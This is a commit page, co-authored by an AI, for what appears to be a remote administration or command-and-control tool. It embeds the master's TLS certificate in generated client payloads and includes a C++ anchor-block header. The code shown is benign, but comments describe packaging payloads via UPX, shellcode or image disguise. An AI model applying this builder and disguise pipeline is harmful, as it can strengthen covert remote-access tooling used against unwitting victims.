Feature: Embed the master's TLS certificate in generated clients

When the server has TLS enabled, the builder can now bake its certificate into
the client it produces, so a distributed client speaks TLS on its very first
connection instead of waiting for the anchor to be pushed after a plaintext
login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled
for payloads and protocols where an embedded anchor makes sense; the choice is
remembered even when the control flips to disabled and back, so switching
protocols cannot silently undo a deliberate opt-out. Every label variant stays
short enough to fit the 196 DLU field, including the German ones. A template
that predates the anchor block no longer aborts generation: it warns, clears
the checkbox and produces a plain client, so a master upgraded without
rebuilding the ghost/ServerDll resources does not block every build.

The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a
hash, master address, PEM) carved out of the payload at build time. The client
reads its trust anchor from four sources in order: the tls_disabled marker,
the certificate the server pushed into the registry, a PEM file next to the
executable, and finally the embedded block.

The embedded block only applies to a connection whose target matches the
master recorded at generation time, compared as an address set: an exact
string match when only one address is configured, or an intersection of
resolved IPv4 addresses otherwise. A transferred, shared or parallel instance
falls back to the old plaintext first-connect path instead of pinning itself
to a certificate it can never verify. That decision is made per connection,
not per process: shared and parallel instances are threads inside a single
client process, so a process-wide flag let whichever instance connected first
decide for all of them, and the first load of the TLS state cached that answer
for good. The TLS layer now keeps two cached states (embedded anchor allowed,
and not allowed), picks one per handshake, and reports the anchor source of
that handshake for the login capability bit. Matching by resolved address also
keeps parallel mode working, where the connection goes to the single IP the
domain pool selected while the configured master is a domain or a list.

Server side, generated and updated payloads get the block written in place;
the client reports the capability bit on login so the console can tell which
hosts are already TLS-only on first connect. Loading the anchor decodes every
PEM block in the chain rather than just the leaf, and an anchor that exists
but fails to load keeps the old fail-closed behaviour. A pushed anchor only
reconnects when the transport of the live connection actually changes, judged
against that connection's own target rather than the process-wide switch.

This was verified end to end against a freshly generated client with an empty
registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start,
and a four-certificate fullchain loaded all four blocks. Re-verified after the
per-connection rework with the anchor block patched into a debug client: with
a matching master the first bytes are a ClientHello, with a foreign master the
client logs the skip and sends plaintext, and a domain master resolves to the
IP it connects to and still matches. A master domain that no longer resolves
falls back to plaintext within a second and is not looked up again for a
minute, instead of stalling every reconnect on a DNS timeout while holding the
lock the certificate verification needs.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-01 20:40:02 +01:00
1 parent c4021e1fc9
commit 951b4072e5
31 files changed
+1911 -122

No files matched your search

+1
View File
@@ -139,6 +139,7 @@ inline int isValid_10s()
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows)
#define CLIENT_CAP_EMBEDDED_ANCHOR 0x0040 // 当前靠「生成时内嵌的 TLS 信任锚」在加密(按运行时状态置位,不是能力声明)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
+67
View File
@@ -0,0 +1,67 @@
#pragma once
//
// 内嵌服务端 TLS 信任锚块(客户端与服务端共用)—— 见 docs/ClientEmbeddedTLS_Design.md §3.3。
//
// 生成客户端时,主控把「服务端自己的 TLS 证书 PEM」写进客户端镜像里的这个块;客户端
// 启动后拿它当信任锚,于是首次连接就是 TLS,不必等主控在线下发。
//
// 为什么单独成块、不扩 CONNECT_ADDRESS:
// 1. 结构体尾部只有 szFututre[496] 连续可用,而内置证书 PEM 就有 1042 字节;
// 2. 生成端是按 sizeof(CONNECT_ADDRESS) 做 memcpy 原地覆盖的,扩了结构体就会把新
// 长度写进老 stub 里,越界且无声(详见设计文档 §3.2 的方案 A 否决理由)。
//
// 块与 CONNECT_ADDRESS 走同一条字节搬运路径:生成端扫描 → 原地写入 → 之后才做
// UPX / ShellCode / 图片伪装。凡 CONNECT_ADDRESS 能活到运行时的包装形态,本块也一定能。
//
#include <stddef.h>
#include <stdint.h>
#include <string.h>
#pragma pack(push, 4)
struct EmbeddedTlsAnchor {
char magic[16]; // kAnchorMagic(见 IsAnchorMagic)
uint32_t version; // kAnchorVersion
uint32_t capacity; // sizeof(pem):stub 的编译期常量,生成端读它才知道能不能写
uint32_t length; // 实际写入的 PEM 字节数;0 = 未内嵌
uint32_t hash; // Fnv1a32(pem[0..length)),半截写入/被改动可立刻识别
char master[100]; // 生成时配置的主控地址(明文原样,含分号分隔的多地址)
char pem[4096]; // 证书 PEM(内置自签单张,或用户自备的 fullchain)
};
#pragma pack(pop)
constexpr uint32_t kAnchorVersion = 1;
constexpr uint32_t kAnchorCapacity = 4096; // == sizeof(EmbeddedTlsAnchor::pem)
// 布局一变,已分发的 stub 就会被生成端读错(capacity 校验会拦住,但别靠它兜底)。
static_assert(sizeof(EmbeddedTlsAnchor) == 4228, "EmbeddedTlsAnchor 布局变了,见设计文档 §3.3");
// FNV-1a 32 位。与 common/iniFile.h 的 GetExeHashStr() 同一算法族(那里是 64 位),
// 此处取 32 位只为塞进固定宽度的字段。用途是识别「写了一半」与「被改动」,不是安全边界
// ——锚本身就是公开信息,能改它的人也能改整个文件。
inline uint32_t Fnv1a32(const char* data, size_t len)
{
uint32_t h = 2166136261u;
for (size_t i = 0; i < len; ++i) {
h ^= (unsigned char)data[i];
h *= 16777619u;
}
return h;
}
// magic 的字面量在 .rdata 里还会有一份副本(本函数用的常量),所以生成端不能「找到
// 第一处就写」,必须对每个命中做结构校验——见 IsAnchorBlockValid 与设计文档 §3.3。
inline bool IsAnchorMagic(const char* p)
{
static const char kMagic[16] = { 'Y','A','M','A','_','T','L','S','_','A','N','C','H','O','R','\0' };
return memcmp(p, kMagic, sizeof(kMagic)) == 0;
}
// 结构校验:magic + version + capacity + hash 全对,才算「这是我们的锚块」。
inline bool IsAnchorBlockValid(const EmbeddedTlsAnchor& a)
{
if (!IsAnchorMagic(a.magic)) return false;
if (a.version != kAnchorVersion || a.capacity != kAnchorCapacity) return false;
if (a.length == 0) return a.hash == 0;
if (a.length > sizeof(a.pem)) return false;
return a.hash == Fnv1a32(a.pem, a.length);
}